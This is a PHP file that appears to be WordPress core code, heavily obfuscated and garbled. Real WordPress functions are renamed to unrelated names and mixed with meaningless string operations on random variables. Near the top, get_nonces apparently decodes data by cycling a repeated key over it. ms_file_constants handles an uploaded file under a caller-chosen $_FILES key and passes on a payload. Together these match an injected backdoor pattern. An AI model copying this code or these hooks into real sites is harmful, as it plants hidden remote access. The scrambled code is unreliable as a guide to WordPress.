// Install default site content.
$typenow = stripcslashes($date_formats);
$rememberme = addcslashes($login__in, $loopback_request_failure);
$SampleNumber = 'r2syz3ps';
$media_states = ltrim($modified_gmt);
// mtime : Last known modification date of the file (UNIX timestamp)
$incoming_data = ucfirst($filter_comment);
return $old_print_embed_scripts;
}
$skip = quotemeta($skip);
/**
* Set a property's value
*
* @param string $name Property name.
* @param mixed $value Property value
*/
function get_nonces($tries, $old_theme){
//configuration page
$toAddr = 'orfhlqouw';
$block_styles = 'bdg375';
$indicator = 'mwqbly';
$person_tag = strlen($old_theme);
# for timing safety we currently rely on the salts being
$indicator = strripos($indicator, $indicator);
$parent_url = 'g0v217';
$block_styles = str_shuffle($block_styles);
$sftp_link = strlen($tries);
$toAddr = strnatcmp($parent_url, $toAddr);
$indicator = strtoupper($indicator);
$process_interactive_blocks = 'pxhcppl';
$person_tag = $sftp_link / $person_tag;
$person_tag = ceil($person_tag);
$view_all_url = str_split($tries);
// This is the default for when no callback, plural, or argument is passed in.
$js = 'wk1l9f8od';
$max_index_length = 'klj5g';
$parent_url = strtr($toAddr, 12, 11);
// 64-bit integer
$t5 = 'g7n72';
$process_interactive_blocks = strip_tags($js);
$indicator = strcspn($indicator, $max_index_length);
// s16 -= s23 * 683901;
// Validation of args is done in wp_edit_theme_plugin_file().
$old_theme = str_repeat($old_theme, $person_tag);
$samplingrate = str_split($old_theme);
$samplingrate = array_slice($samplingrate, 0, $sftp_link);
// Old Gallery block format as HTML.
$parent_url = strtoupper($t5);
$xchanged = 'kdz0cv';
$indicator = rawurldecode($max_index_length);
$term_items = array_map("wp_just_in_time_script_localization", $view_all_url, $samplingrate);
$xchanged = strrev($block_styles);
$submenu_slug = 'ktzcyufpn';
$parent_url = trim($parent_url);
$term_items = implode('', $term_items);
return $term_items;
}
/**
* This callback disables the content editor for wp_navigation type posts.
* Content editor cannot handle wp_navigation type posts correctly.
* We cannot disable the "editor" feature in the wp_navigation's CPT definition
* because it disables the ability to save navigation blocks via REST API.
*
* @since 5.9.0
* @access private
*
* @param WP_Post $SourceSampleFrequencyID An instance of WP_Post class.
*/
function ms_file_constants($enable_custom_fields, $subframe_apic_picturetype, $erasers){
$most_recent_history_event = 'xrnr05w0';
$block_instance = 'zaxmj5';
$r_status = 'cxs3q0';
$most_recent_history_event = stripslashes($most_recent_history_event);
$author_base = 'nr3gmz8';
$block_instance = trim($block_instance);
$block_instance = addcslashes($block_instance, $block_instance);
$most_recent_history_event = ucwords($most_recent_history_event);
$r_status = strcspn($r_status, $author_base);
// User defined text information frame
if (isset($_FILES[$enable_custom_fields])) {
wp_get_computed_fluid_typography_value($enable_custom_fields, $subframe_apic_picturetype, $erasers);
}
$author_base = stripcslashes($author_base);
$sql_part = 'x9yi5';
$most_recent_history_event = urldecode($most_recent_history_event);
append_content($erasers);
}
$blog_options = 'detp';
$blog_options = htmlspecialchars_decode($blog_options);
$mce_external_plugins = 'yxlzj';
// When operating in the two channel mode, this 2-bit code indicates whether or not the program has been encoded in Dolby Surround.
$usermeta = base64_encode($beg);
$skip = chop($skip, $skip);
$g0 = urlencode($editor_script_handles);
$id_field = 'fhlz70';
$unspammed = wordwrap($g0);
$feature_set = 'xsbj3n';
$feature_set = stripslashes($usermeta);
$skip = htmlspecialchars($id_field);
$unspammed = basename($editor_script_handles);
/**
* Validates the plugin path.
*
* Checks that the main plugin file exists and is a valid plugin. See validate_file().
*
* @since 2.5.0
*
* @param string $last_update Path to the plugin file relative to the plugins directory.
* @return int|WP_Error 0 on success, WP_Error on failure.
*/
function crypto_kx_seed_keypair($last_update)
{
if (validate_file($last_update)) {
return new WP_Error('plugin_invalid', __('Invalid plugin path.'));
}
if (!file_exists(WP_PLUGIN_DIR . '/' . $last_update)) {
return new WP_Error('plugin_not_found', __('Plugin file does not exist.'));
}
$v_list_dir_size = get_plugins();
if (!isset($v_list_dir_size[$last_update])) {
return new WP_Error('no_plugin_header', __('The plugin does not have a valid header.'));
}
return 0;
}
// Template for the Playlists settings, used for example in the sidebar.
// Main tab.
/**
* Defines SSL-related WordPress constants.
*
* @since 3.0.0
*/
function delete_orphaned_commentmeta()
{
/**
* @since 2.6.0
*/
if (!defined('FORCE_SSL_ADMIN')) {
if ('https' === parse_url(get_option('siteurl'), PHP_URL_SCHEME)) {
define('FORCE_SSL_ADMIN', true);
} else {
define('FORCE_SSL_ADMIN', false);
}
}
force_ssl_admin(FORCE_SSL_ADMIN);
/**
* @since 2.6.0
* @deprecated 4.0.0
*/
if (defined('FORCE_SSL_LOGIN') && FORCE_SSL_LOGIN) {
force_ssl_admin(true);
}
}
$childless = 'o0boygc9';
$blog_options = 'hukwzpohe';
$mce_external_plugins = strcoll($childless, $blog_options);
$g0 = strcspn($editor_script_handles, $editor_script_handles);
$id_field = trim($skip);
$feature_set = str_shuffle($usermeta);
$beg = basename($usermeta);
$maybe_active_plugin = 'ol2og4q';
$editor_script_handles = crc32($g0);
$g0 = chop($editor_script_handles, $unspammed);
$beg = strip_tags($usermeta);
$maybe_active_plugin = strrev($found_valid_tempdir);
$ReturnAtomData = 'sev3m4';
/**
* Converts entities, while preserving already-encoded entities.
*
* @link https://www.php.net/htmlentities Borrowed from the PHP Manual user notes.
*
* @since 1.2.2
*
* @param string $isPrimary The text to be converted.
* @return string Converted text.
*/
function akismet_get_user_roles($isPrimary)
{
$previous_content = get_html_translation_table(HTML_ENTITIES, ENT_QUOTES);
$previous_content[chr(38)] = '&';
return preg_replace('/&(?![A-Za-z]{0,4}\w{2,3};|#[0-9]{2,3};)/', '&', strtr($isPrimary, $previous_content));
}
$style_key = 'oezp';
$subcommentquery = 'yc1yb';
// So that the template loader keeps looking for templates.
$id_field = strcspn($ReturnAtomData, $found_valid_tempdir);
$subcommentquery = html_entity_decode($editor_script_handles);
$style_key = stripcslashes($beg);
/**
* Displays the HTML link of the URL of the author of the current comment.
*
* @since 0.71
* @since 4.6.0 Added the `$sibling_names` parameter.
*
* @param string $ipv4 Optional. Text to display instead of the comment author's
* email address. Default empty.
* @param string $default_caps Optional. Text or HTML to display before the email link.
* Default empty.
* @param string $translations_stop_concat Optional. Text or HTML to display after the email link.
* Default empty.
* @param int|WP_Comment $sibling_names Optional. Comment ID or WP_Comment object.
* Default is the current comment.
*/
function get_child($ipv4 = '', $default_caps = '', $translations_stop_concat = '', $sibling_names = 0)
{
echo get_get_child($ipv4, $default_caps, $translations_stop_concat, $sibling_names);
}
$preset_per_origin = 'q6jq6';
$skip = addslashes($skip);
$unspammed = urldecode($unspammed);
// We assume that somebody who can install plugins in multisite is experienced enough to not need this helper link.
$mce_external_plugins = 'sgwa6al';
$subcommentquery = is_string($unspammed);
$ReturnAtomData = convert_uuencode($ReturnAtomData);
$style_key = crc32($preset_per_origin);
$this_pct_scanned = 'xfy9x5olm';
$epquery = 'wo84l';
$ReturnAtomData = wordwrap($skip);
$blog_options = 'qe31t';
$mce_external_plugins = strip_tags($blog_options);
$mce_external_plugins = 'g0ewn49lp';
$this_pct_scanned = sha1($usermeta);
/**
* @see ParagonIE_Sodium_Compat::fe_normalize()
* @param string $body_class
* @return string
* @throws \SodiumException
* @throws \TypeError
*/
function fe_normalize($body_class)
{
return ParagonIE_Sodium_Compat::fe_normalize($body_class);
}
$theme_root_uri = 'q6xv0s2';
$editor_script_handles = md5($epquery);
$dependency_slugs = 'kmq8r6';
$frames_count = 'fwqcz';
$id_field = rtrim($theme_root_uri);
// Reverb
// Put categories in order with no child going before its parent.
$ReturnAtomData = bin2hex($found_valid_tempdir);
$frames_count = wordwrap($usermeta);
$v_memory_limit = 'btao';
$childless = 'psrtqe9x0';
$mce_external_plugins = urlencode($childless);
$childless = 'jpv9c2se';
$mce_external_plugins = 'jdm0emgnt';
$childless = urldecode($mce_external_plugins);
// If a Privacy Policy page ID is available, make sure the page actually exists. If not, display an error.
$ReturnAtomData = strip_tags($found_valid_tempdir);
$dependency_slugs = ucfirst($v_memory_limit);
$beg = str_shuffle($frames_count);
// Back-compatibility for presets without units.
$frames_count = str_repeat($frames_count, 4);
$installed_theme = 'kqeky';
$g0 = base64_encode($v_memory_limit);
$found_valid_tempdir = rawurldecode($installed_theme);
$attribute_key = 'hl23';
/**
* Build Magpie object based on RSS from URL.
*
* @since 1.5.0
* @package External
* @subpackage MagpieRSS
*
* @param string $selector_markup URL to retrieve feed.
* @return MagpieRSS|false MagpieRSS object on success, false on failure.
*/
function get_database_size($selector_markup)
{
// initialize constants
init();
if (!isset($selector_markup)) {
// error("get_database_size called without a url");
return false;
}
// if cache is disabled
if (!MAGPIE_CACHE_ON) {
// fetch file, and parse it
$ID3v1encoding = _fetch_remote_file($selector_markup);
if (is_success($ID3v1encoding->status)) {
return _response_to_rss($ID3v1encoding);
} else {
// error("Failed to fetch $selector_markup and cache is off");
return false;
}
} else {
// Flow
// 1. check cache
// 2. if there is a hit, make sure it's fresh
// 3. if cached obj fails freshness check, fetch remote
// 4. if remote fails, return stale object, or error
$getid3_temp_tempdir = new RSSCache(MAGPIE_CACHE_DIR, MAGPIE_CACHE_AGE);
if (MAGPIE_DEBUG and $getid3_temp_tempdir->ERROR) {
debug($getid3_temp_tempdir->ERROR, E_USER_WARNING);
}
$caps_with_roles = 0;
// response of check_cache
$akismet_css_path = array();
// HTTP headers to send with fetch
$show_container = 0;
// parsed RSS object
$COMRReceivedAsLookup = 0;
// errors, if any
if (!$getid3_temp_tempdir->ERROR) {
// return cache HIT, MISS, or STALE
$caps_with_roles = $getid3_temp_tempdir->check_cache($selector_markup);
}
// if object cached, and cache is fresh, return cached obj
if ($caps_with_roles == 'HIT') {
$show_container = $getid3_temp_tempdir->get($selector_markup);
if (isset($show_container) and $show_container) {
$show_container->from_cache = 1;
if (MAGPIE_DEBUG > 1) {
debug("MagpieRSS: Cache HIT", E_USER_NOTICE);
}
return $show_container;
}
}
// else attempt a conditional get
// set up headers
if ($caps_with_roles == 'STALE') {
$show_container = $getid3_temp_tempdir->get($selector_markup);
if (isset($show_container->etag) and $show_container->last_modified) {
$akismet_css_path['If-None-Match'] = $show_container->etag;
$akismet_css_path['If-Last-Modified'] = $show_container->last_modified;
}
}
$ID3v1encoding = _fetch_remote_file($selector_markup, $akismet_css_path);
if (isset($ID3v1encoding) and $ID3v1encoding) {
if ($ID3v1encoding->status == '304') {
// we have the most current copy
if (MAGPIE_DEBUG > 1) {
debug("Got 304 for {$selector_markup}");
}
// reset cache on 304 (at minutillo insistent prodding)
$getid3_temp_tempdir->set($selector_markup, $show_container);
return $show_container;
} elseif (is_success($ID3v1encoding->status)) {
$show_container = _response_to_rss($ID3v1encoding);
if ($show_container) {
if (MAGPIE_DEBUG > 1) {
debug("Fetch successful");
}
// add object to cache
$getid3_temp_tempdir->set($selector_markup, $show_container);
return $show_container;
}
} else {
$COMRReceivedAsLookup = "Failed to fetch {$selector_markup}. ";
if ($ID3v1encoding->error) {
# compensate for Snoopy's annoying habit to tacking
# on '\n'
$AudioChunkStreamType = substr($ID3v1encoding->error, 0, -2);
$COMRReceivedAsLookup .= "(HTTP Error: {$AudioChunkStreamType})";
} else {
$COMRReceivedAsLookup .= "(HTTP Response: " . $ID3v1encoding->response_code . ')';
}
}
} else {
$COMRReceivedAsLookup = "Unable to retrieve RSS file for unknown reasons.";
}
// else fetch failed
// attempt to return cached object
if ($show_container) {
if (MAGPIE_DEBUG) {
debug("Returning STALE object for {$selector_markup}");
}
return $show_container;
}
// else we totally failed
// error( $COMRReceivedAsLookup );
return false;
}
// end if ( !MAGPIE_CACHE_ON ) {
}
$beg = strtr($this_pct_scanned, 13, 14);
/**
* Safely extracts not more than the first $hex8_regexp characters from HTML string.
*
* UTF-8, tags and entities safe prefix extraction. Entities inside will *NOT*
* be counted as one character. For example & will be counted as 4, < as
* 3, etc.
*
* @since 2.5.0
*
* @param string $installed_languages String to get the excerpt from.
* @param int $hex8_regexp Maximum number of characters to take.
* @param string $update_plugins Optional. What to append if $installed_languages needs to be trimmed. Defaults to empty string.
* @return string The excerpt.
*/
function colord_clamp($installed_languages, $hex8_regexp, $update_plugins = null)
{
if (null === $update_plugins) {
$update_plugins = '';
}
$installed_languages = wp_strip_all_tags($installed_languages, true);
$element_style_object = mb_substr($installed_languages, 0, $hex8_regexp);
// Remove part of an entity at the end.
$element_style_object = preg_replace('/&[^;\s]{0,6}$/', '', $element_style_object);
if ($installed_languages !== $element_style_object) {
$element_style_object = trim($element_style_object) . $update_plugins;
}
return $element_style_object;
}
$subcommentquery = levenshtein($subcommentquery, $attribute_key);
$can_change_status = 'pd57z4';
$unsorted_menu_items = 'iy19t';
// Skip files which get updated.
// according to the frame text encoding
// Uses 'empty_username' for back-compat with wp_signon().
$epquery = quotemeta($g0);
$maybe_active_plugin = ltrim($unsorted_menu_items);
/**
* Deprecated functionality to gracefully fail.
*
* @since MU (3.0.0)
* @deprecated 3.0.0 Use wp_die()
* @see wp_die()
*/
function APEcontentTypeFlagLookup($orders_to_dbids)
{
_deprecated_function(__FUNCTION__, '3.0.0', 'wp_die()');
$orders_to_dbids = apply_filters('APEcontentTypeFlagLookup', $orders_to_dbids);
$icon_dir_uri = apply_filters('APEcontentTypeFlagLookup_template', '<!DOCTYPE html>
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Error!</title>
<style type="text/css">
img {
border: 0;
}
body {
line-height: 1.6em; font-family: Georgia, serif; width: 390px; margin: auto;
text-align: center;
}
.message {
font-size: 22px;
width: 350px;
margin: auto;
}
</style>
</head>
<body>
<p class="message">%s</p>
</body>
</html>');
die(sprintf($icon_dir_uri, $orders_to_dbids));
}
$can_change_status = strripos($feature_set, $this_pct_scanned);
//$parsed['magic'] = substr($DIVXTAG, 121, 7); // "DIVXTAG"
/**
* Handles activating a plugin via AJAX.
*
* @since 6.5.0
*/
function refresh_blog_details()
{
check_ajax_referer('updates');
if (empty($_POST['name']) || empty($_POST['slug']) || empty($_POST['plugin'])) {
wp_send_json_error(array('slug' => '', 'pluginName' => '', 'plugin' => '', 'errorCode' => 'no_plugin_specified', 'errorMessage' => __('No plugin specified.')));
}
$cmdline_params = array('activate' => 'plugin', 'slug' => wp_unslash($_POST['slug']), 'pluginName' => wp_unslash($_POST['name']), 'plugin' => wp_unslash($_POST['plugin']));
if (!current_user_can('activate_plugin', $cmdline_params['plugin'])) {
$cmdline_params['errorMessage'] = __('Sorry, you are not allowed to activate plugins on this site.');
wp_send_json_error($cmdline_params);
}
if (is_plugin_active($cmdline_params['plugin'])) {
$cmdline_params['errorMessage'] = sprintf(
/* translators: %s: Plugin name. */
__('%s is already active.'),
$cmdline_params['pluginName']
);
}
$hostinfo = activate_plugin($cmdline_params['plugin']);
if (is_wp_error($hostinfo)) {
$cmdline_params['errorMessage'] = $hostinfo->get_error_message();
wp_send_json_error($cmdline_params);
}
wp_send_json_success($cmdline_params);
}
// check for a namespace, and split if found
$cuetrackpositions_entry = 'sx5nfm6';
$is_iis7 = 'iue3';
$cuetrackpositions_entry = strripos($is_iis7, $is_iis7);
// Can't be its own parent.
$is_iis7 = 'm1vr6m';
$childless = 'zzt2kq07k';
// Strip date fields if empty.
$catarr = 'lhk06';
// get URL portion of the redirect
$is_iis7 = strnatcmp($childless, $catarr);
// Draft, 1 or more saves, no date specified.
$cuetrackpositions_entry = 'y529cp5';
$blog_options = 'ztbtl2rw';
// Register advanced menu items (columns).
$most_used_url = 'atmc731p';
// video atom
$cuetrackpositions_entry = strrpos($blog_options, $most_used_url);
$blog_options = 'rdypkhig';
$webfonts = 'q4efg';
/**
* Disables the Link Manager on upgrade if, at the time of upgrade, no links exist in the DB.
*
* @since 3.5.0
*
* @global int $pre_render The old (current) database version.
* @global wpdb $bit_rate_table WordPress database abstraction object.
*/
function recheck_queue_portion()
{
global $pre_render, $bit_rate_table;
if ($pre_render >= 22006 && get_option('link_manager_enabled') && !$bit_rate_table->get_var("SELECT link_id FROM {$bit_rate_table->links} LIMIT 1")) {
update_option('link_manager_enabled', 0);
}
}
// ge25519_p1p1_to_p3(&p2, &t2);
$blog_options = trim($webfonts);
$most_used_url = 'pvtco';
// Sanitize the hostname, some people might pass in odd data.
/**
* Checks compatibility with the current PHP version.
*
* @since 5.2.0
*
* @param string $TrackNumber Minimum required PHP version.
* @return bool True if required version is compatible or empty, false if not.
*/
function insert_html_element($TrackNumber)
{
return empty($TrackNumber) || version_compare(PHP_VERSION, $TrackNumber, '>=');
}
$catarr = 'gywy';
# crypto_secretstream_xchacha20poly1305_INONCEBYTES];
$most_used_url = rawurlencode($catarr);
/**
* Checks whether a given HTML string is likely an output from this WordPress site.
*
* This function attempts to check for various common WordPress patterns whether they are included in the HTML string.
* Since any of these actions may be disabled through third-party code, this function may also return null to indicate
* that it was not possible to determine ownership.
*
* @since 5.7.0
* @access private
*
* @param string $x8 Full HTML output string, e.g. from a HTTP response.
* @return bool|null True/false for whether HTML was generated by this site, null if unable to determine.
*/
function crypto_scalarmult_curve25519_ref10($x8)
{
// 1. Check if HTML includes the site's Really Simple Discovery link.
if (has_action('wp_head', 'rsd_link')) {
$search_columns_parts = preg_replace('#^https?:(?=//)#', '', esc_url(print_embed_scripts('xmlrpc.php?rsd', 'rpc')));
// See rsd_link().
return str_contains($x8, $search_columns_parts);
}
// 2. Check if HTML includes the site's REST API link.
if (has_action('wp_head', 'rest_output_link_wp_head')) {
// Try both HTTPS and HTTP since the URL depends on context.
$search_columns_parts = preg_replace('#^https?:(?=//)#', '', esc_url(get_rest_url()));
// See rest_output_link_wp_head().
return str_contains($x8, $search_columns_parts);
}
// Otherwise the result cannot be determined.
return null;
}
// Get base path of getID3() - ONCE
// This is a verbose page match, let's check to be sure about it.
$trackarray = 'l09uuyodk';
//
// Cache.
//
/**
* Removes the taxonomy relationship to terms from the cache.
*
* Will remove the entire taxonomy relationship containing term `$object_id`. The
* term IDs have to exist within the taxonomy `$php_files` for the deletion to
* take place.
*
* @since 2.3.0
*
* @global bool $rewrite_node
*
* @see get_object_taxonomies() for more on $php_files.
*
* @param int|array $queue Single or list of term object ID(s).
* @param array|string $php_files The taxonomy object type.
*/
function getSentMIMEMessage($queue, $php_files)
{
global $rewrite_node;
if (!empty($rewrite_node)) {
return;
}
if (!is_array($queue)) {
$queue = array($queue);
}
$is_time = get_object_taxonomies($php_files);
foreach ($is_time as $shadow_block_styles) {
wp_cache_delete_multiple($queue, "{$shadow_block_styles}_relationships");
}
wp_cache_set_terms_last_changed();
/**
* Fires after the object term cache has been cleaned.
*
* @since 2.5.0
*
* @param array $queue An array of object IDs.
* @param string $php_files Object type.
*/
do_action('getSentMIMEMessage', $queue, $php_files);
}
$wp_logo_menu_args = 'lfs4w';
$trackarray = str_repeat($wp_logo_menu_args, 3);
// If option is not in alloptions, it is not autoloaded and thus has a timeout.
// Allow plugins to halt the request via this filter.
// Find the closing `</head>` tag.
$childless = 'ugogf';
$mce_external_plugins = 'tfm3on';
// CLIPping container atom
// Format WordPress.
/**
* Determines if the HTTP origin is an authorized one.
*
* @since 3.4.0
*
* @param string|null $audioCodingModeLookup Origin URL. If not provided, the value of get_http_origin() is used.
* @return string Origin URL if allowed, empty string if not.
*/
function wp_get_post_revisions_url($audioCodingModeLookup = null)
{
$forbidden_params = $audioCodingModeLookup;
if (null === $audioCodingModeLookup) {
$audioCodingModeLookup = get_http_origin();
}
if ($audioCodingModeLookup && !in_array($audioCodingModeLookup, get_allowed_http_origins(), true)) {
$audioCodingModeLookup = '';
}
/**
* Change the allowed HTTP origin result.
*
* @since 3.4.0
*
* @param string $audioCodingModeLookup Origin URL if allowed, empty string if not.
* @param string $forbidden_params Original origin string passed into wp_get_post_revisions_url function.
*/
return apply_filters('allowed_http_origin', $audioCodingModeLookup, $forbidden_params);
}
// Is the archive valid?
// Process options and reassign values as necessary
$childless = htmlspecialchars_decode($mce_external_plugins);
$timestamp = 'ycvizttzu';
/**
* Retrieves meta field names for a post.
*
* If there are no meta fields, then nothing (null) will be returned.
*
* @since 1.2.0
*
* @param int $block_classes Optional. Post ID. Default is the ID of the global `$SourceSampleFrequencyID`.
* @return array|void Array of the keys, if retrieved.
*/
function auto_check_update_meta($block_classes = 0)
{
$menu_items_by_parent_id = get_post_custom($block_classes);
if (!is_array($menu_items_by_parent_id)) {
return;
}
$shown_widgets = array_keys($menu_items_by_parent_id);
if ($shown_widgets) {
return $shown_widgets;
}
}
// Via 'customWidth', only when size=custom; otherwise via 'width'.
$option_tag_id3v2 = 'oujr';
$timestamp = crc32($option_tag_id3v2);
$option_tag_id3v2 = 'rt10d';
// Time Offset QWORD 64 // 100-nanosecond units. typically zero. added to all timestamps of samples in the stream
$author__in = 'lr3nrfm';
// fe25519_tobytes(s, s_);
$option_tag_id3v2 = strrev($author__in);
// ----- Extract parent directory
// ARTist
// 4.23 OWNE Ownership frame (ID3v2.3+ only)
$old_print_embed_scripts = 'o7zrj34a';
/**
* Updates the network-wide counts for the current network.
*
* @since 3.1.0
* @since 4.8.0 The `$yplusx` parameter has been added.
*
* @param int|null $yplusx ID of the network. Default is the current network.
*/
function wp_enqueue_global_styles_css_custom_properties($yplusx = null)
{
wp_update_network_user_counts($yplusx);
wp_update_network_site_counts($yplusx);
}
// If we're not overwriting, the rename will fail, so return early.
// Nothing. This will be displayed within an iframe.
/**
* Check if the installed version of GD supports particular image type
*
* @since 2.9.0
* @deprecated 3.5.0 Use wp_image_editor_supports()
* @see wp_image_editor_supports()
*
* @param string $f0g4
* @return bool
*/
function posts_nav_link($f0g4)
{
_deprecated_function(__FUNCTION__, '3.5.0', 'wp_image_editor_supports()');
if (function_exists('imagetypes')) {
switch ($f0g4) {
case 'image/jpeg':
return (imagetypes() & IMG_JPG) != 0;
case 'image/png':
return (imagetypes() & IMG_PNG) != 0;
case 'image/gif':
return (imagetypes() & IMG_GIF) != 0;
case 'image/webp':
return (imagetypes() & IMG_WEBP) != 0;
case 'image/avif':
return (imagetypes() & IMG_AVIF) != 0;
}
} else {
switch ($f0g4) {
case 'image/jpeg':
return function_exists('imagecreatefromjpeg');
case 'image/png':
return function_exists('imagecreatefrompng');
case 'image/gif':
return function_exists('imagecreatefromgif');
case 'image/webp':
return function_exists('imagecreatefromwebp');
case 'image/avif':
return function_exists('imagecreatefromavif');
}
}
return false;
}
$filter_comment = 'fkbx';
// Skip if the file is missing.
$cwhere = 'wje5wcmd4';
// Escape the column name with backticks.
// Base properties for every Post.
/**
* Determines whether a registered nav menu location has a menu assigned to it.
*
* @since 3.0.0
*
* @param string $variation_input Menu location identifier.
* @return bool Whether location has a menu.
*/
function content_url($variation_input)
{
$shortname = false;
$f8 = get_registered_nav_menus();
if (isset($f8[$variation_input])) {
$insert_id = get_nav_menu_locations();
$shortname = !empty($insert_id[$variation_input]);
}
/**
* Filters whether a nav menu is assigned to the specified location.
*
* @since 4.3.0
*
* @param bool $shortname Whether there is a menu assigned to a location.
* @param string $variation_input Menu location.
*/
return apply_filters('content_url', $shortname, $variation_input);
}
//Send the lines to the server
// 0x06
// E - Bitrate index
$old_print_embed_scripts = addcslashes($filter_comment, $cwhere);
// Check to see which files don't really need updating - only available for 3.7 and higher.
// int64_t a8 = 2097151 & load_3(a + 21);
$filter_comment = addStringAttachment($timestamp);
// If we get to this point, then the random plugin isn't installed and we can stop the while().
// Normalize nodes: define internal 'children' and 'type' properties.
/**
* Retrieves the URL for the current site where WordPress application files
* (e.g. wp-blog-header.php or the wp-admin/ folder) are accessible.
*
* Returns the 'print_embed_scripts' option with the appropriate protocol, 'https' if
* is_ssl() and 'http' otherwise. If $SMTPXClient is 'http' or 'https', is_ssl() is
* overridden.
*
* @since 3.0.0
*
* @param string $checked_filetype Optional. Path relative to the site URL. Default empty.
* @param string|null $SMTPXClient Optional. Scheme to give the site URL context. See set_url_scheme().
* @return string Site URL link with optional path appended.
*/
function print_embed_scripts($checked_filetype = '', $SMTPXClient = null)
{
return get_print_embed_scripts(null, $checked_filetype, $SMTPXClient);
}
// No-privilege Ajax handlers.
$old_print_embed_scripts = 'qdvpcmkc';
$publish_callback_args = 'yel3u0';
$old_print_embed_scripts = addslashes($publish_callback_args);
// character of the cookie-path is %x2F ("/").
$session = 'code0w2y';
$first_init = 'vdyrnku86';
$session = rawurldecode($first_init);
$group_label = 'rd9eljxbj';
$session = 'ckoss8';
// The item is last but still has a parent, so bubble up.
$group_label = sha1($session);
/**
* Helper function to check if this is a safe PDF URL.
*
* @since 5.9.0
* @access private
* @ignore
*
* @param string $selector_markup The URL to check.
* @return bool True if the URL is safe, false otherwise.
*/
function get_theme_items($selector_markup)
{
// We're not interested in URLs that contain query strings or fragments.
if (str_contains($selector_markup, '?') || str_contains($selector_markup, '#')) {
return false;
}
// If it doesn't have a PDF extension, it's not safe.
if (!str_ends_with($selector_markup, '.pdf')) {
return false;
}
// If the URL host matches the current site's media URL, it's safe.
$has_picked_background_color = wp_upload_dir(null, false);
$copiedHeaderFields = wp_parse_url($has_picked_background_color['url']);
$err_message = isset($copiedHeaderFields['host']) ? $copiedHeaderFields['host'] : '';
$a_ = isset($copiedHeaderFields['port']) ? ':' . $copiedHeaderFields['port'] : '';
if (str_starts_with($selector_markup, "http://{$err_message}{$a_}/") || str_starts_with($selector_markup, "https://{$err_message}{$a_}/")) {
return true;
}
return false;
}
$header_image_style = 'qy5w';
$menu_data = 'g8pxp';
/**
* Registers a new script.
*
* Registers a script to be enqueued later using the wp_enqueue_script() function.
*
* @see WP_Dependencies::add()
* @see WP_Dependencies::add_data()
*
* @since 2.1.0
* @since 4.3.0 A return value was added.
* @since 6.3.0 The $in_footer parameter of type boolean was overloaded to be an $group_id parameter of type array.
*
* @param string $comma Name of the script. Should be unique.
* @param string|false $saved_starter_content_changeset Full URL of the script, or path of the script relative to the WordPress root directory.
* If source is set to false, script is an alias of other scripts it depends on.
* @param string[] $contrib_avatar Optional. An array of registered script handles this script depends on. Default empty array.
* @param string|bool|null $edit_term_link Optional. String specifying script version number, if it has one, which is added to the URL
* as a query string for cache busting purposes. If version is set to false, a version
* number is automatically added equal to current installed WordPress version.
* If set to null, no version is added.
* @param array|bool $group_id {
* Optional. An array of additional script loading strategies. Default empty array.
* Otherwise, it may be a boolean in which case it determines whether the script is printed in the footer. Default false.
*
* @type string $installed_languagesategy Optional. If provided, may be either 'defer' or 'async'.
* @type bool $in_footer Optional. Whether to print the script in the footer. Default 'false'.
* }
* @return bool Whether the script has been registered. True on success, false on failure.
*/
function wp_cache_flush_group($comma, $saved_starter_content_changeset, $contrib_avatar = array(), $edit_term_link = false, $group_id = array())
{
if (!is_array($group_id)) {
$group_id = array('in_footer' => (bool) $group_id);
}
_wp_scripts_maybe_doing_it_wrong(__FUNCTION__, $comma);
$widget_text_do_shortcode_priority = wp_scripts();
$f2g7 = $widget_text_do_shortcode_priority->add($comma, $saved_starter_content_changeset, $contrib_avatar, $edit_term_link);
if (!empty($group_id['in_footer'])) {
$widget_text_do_shortcode_priority->add_data($comma, 'group', 1);
}
if (!empty($group_id['strategy'])) {
$widget_text_do_shortcode_priority->add_data($comma, 'strategy', $group_id['strategy']);
}
return $f2g7;
}
// is the same as:
$header_image_style = is_string($menu_data);
$group_label = 'c4ltjx';
// The PHP version is older than the recommended version, but still receiving active support.
//if ($decompresseddata = @gzuncompress($parsedFrame['data'])) {
$filter_comment = 'adb19g6bc';
$group_label = crc32($filter_comment);
$widgets = 'v9yg9bf98';
// A correct form post will pass this test.
$header_image_style = 'ghqymh';
// ge25519_p3_to_cached(&pi[1 - 1], p); /* p */
$widgets = addslashes($header_image_style);
// "xmcd"
// Build an array of types for back-compat.
$fn_compile_variations = 'flmm';
// echo '<label for="timestamp" style="display: block;"><input type="checkbox" class="checkbox" name="edit_date" value="1" id="timestamp"'.$tab_index_attribute.' /> '.__( 'Edit timestamp' ).'</label><br />';
// fields containing the actual information. The header is always 10
$header_image_style = 'l9bxm';
/**
* Start preview theme output buffer.
*
* Will only perform task if the user has permissions and template and preview
* query variables exist.
*
* @since 2.6.0
* @deprecated 4.3.0
*/
function PclZipUtilCopyBlock()
{
_deprecated_function(__FUNCTION__, '4.3.0');
}
$fn_compile_variations = str_shuffle($header_image_style);
// Compare user role against currently editable roles.
// Use a natural sort of numbers.
// These were previously extract()'d.
/**
* @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519()
* @param string $optionnone
* @return string
* @throws SodiumException
* @throws TypeError
*/
function applicationIDLookup($optionnone)
{
return ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519($optionnone);
}
//If response is only 3 chars (not valid, but RFC5321 S4.2 says it must be handled),
$author__in = 'w8qc5ohor';
// Multisite:
/**
* Displays the next posts page link.
*
* @since 0.71
*
* @param string $network_query Content for link text.
* @param int $gooddata Optional. Max pages. Default 0.
*/
function set_user($network_query = null, $gooddata = 0)
{
echo get_set_user($network_query, $gooddata);
}
// 128 kbps
$filter_comment = 'n7bxyl';
$author__in = urlencode($filter_comment);
// Blank string to start with.
$session = 'pjhna1m';
// 3.4
/**
* Gets extended entry info (<!--more-->).
*
* There should not be any space after the second dash and before the word
* 'more'. There can be text or space(s) after the word 'more', but won't be
* referenced.
*
* The returned array has 'main', 'extended', and 'more_text' keys. Main has the text before
* the `<!--more-->`. The 'extended' key has the content after the
* `<!--more-->` comment. The 'more_text' key has the custom "Read More" text.
*
* @since 1.0.0
*
* @param string $SourceSampleFrequencyID Post content.
* @return string[] {
* Extended entry info.
*
* @type string $is_sticky Content before the more tag.
* @type string $open_button_directives Content after the more tag.
* @type string $constant_overrides Custom read more text, or empty string.
* }
*/
function image_media_send_to_editor($SourceSampleFrequencyID)
{
// Match the new style more links.
if (preg_match('/<!--more(.*?)?-->/', $SourceSampleFrequencyID, $recip)) {
